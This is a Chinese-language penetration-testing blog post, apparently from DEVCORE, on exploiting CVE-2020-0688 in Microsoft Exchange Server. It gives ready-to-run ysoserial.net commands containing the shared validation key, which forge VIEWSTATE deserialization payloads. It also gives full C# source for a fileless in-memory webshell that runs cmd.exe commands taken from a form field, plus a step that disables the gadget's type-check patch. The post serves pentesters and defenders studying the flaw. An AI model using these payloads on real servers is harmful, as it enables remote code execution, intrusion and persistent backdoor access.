最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688，問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key，而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了，可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊，從而達成 Remote Code Execution 控制整台主機伺服器。
更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog：
對於 VIEWSTATE 反序列化漏洞攻擊分析在網路上已經有無數篇文章進行深入的探討，所以在此篇文章中將不再重複贅述，而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。
最基本、常見的方式是直接使用工具 ysoserial.net 的 ViewState Plugin 產生合法 MAC 與正確的加密內容，TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe，就可以觸發執行任意系統指令。
例如：
ysoserial.exe -p ViewState -g TypeConfuseDelegate
-c "echo 123 > c:\pwn.txt"
--generator="CA0B0334"
--validationalg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error，所以我們也無法直接得知指令執行的結果，但既然有了任意執行，要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。
But ..
在滲透測試的實戰中，事情往往沒這麼美好。現今企業資安意識都相對高，目標伺服器環境出現以下幾種限制都已是常態：
- 封鎖所有主動對外連線
- 禁止查詢外部 DNS
- 網頁目錄無法寫入
- 網頁目錄雖可寫，但存在 Website Defacement 防禦機制，會自動復原檔案
所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力，這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution，換句話說，可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力，而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用，例如 System.Web.HttpContext.Current 就可以取得當下 HTTP 請求上下文的物件，也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺，並且過程全是在記憶體中動態處理，於是就等同於建立了無檔案的 WebShell 後門！
我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile，而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案，後面用 ; 分號分隔加上所依賴需要引入的 dll。
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
-c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
--generator="CA0B0334"
--validationalg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到，像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319 之中。
至於最關鍵的 ExploitClass.cs 該如何撰寫呢？將來會試著提交給 ysoserial.net，就可以在範例檔案裡找到它，或是可以先直接看這裡：
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步，因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error，而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤，而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端，避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。
到這個步驟的話，理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE，就可以像操作一般 WebShell 一樣：
不過有時也會出現這種情境：
不論怎麼改 Payload 再重送永遠都是得到 Server Error，於是就開始懷疑自己的人生 Q_Q
但也別急著灰心，可能只是你遇上的目標有很乖地定期更新了伺服器而已，因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch，導致無法直接利用，好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用！
詳細細節可以閱讀這篇文章：Re-Animating ActivitySurrogateSelector | Silent Break Security
總而言之，如果遇到上述情形，可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器，順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true，隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
-c "ignore"
--generator="CA0B0334"
--validationalg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
如果上述一切都很順利、成功執行系統指令並回傳了結果，基本上就足夠做大部分事情，而剩下的就是繼續盡情發揮你的想像力吧！
不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的，因為 .NET 內部演算法以及需要的環境參數組合稍微複雜，使得工具沒辦法輕易涵蓋所有可能情況，而當遇到這種情形時，我目前選擇的解決方法都是發揮工人智慧，嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案，產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話，也歡迎來和我交流聊聊天。
此篇文章同時發表於：DEVCORE Blog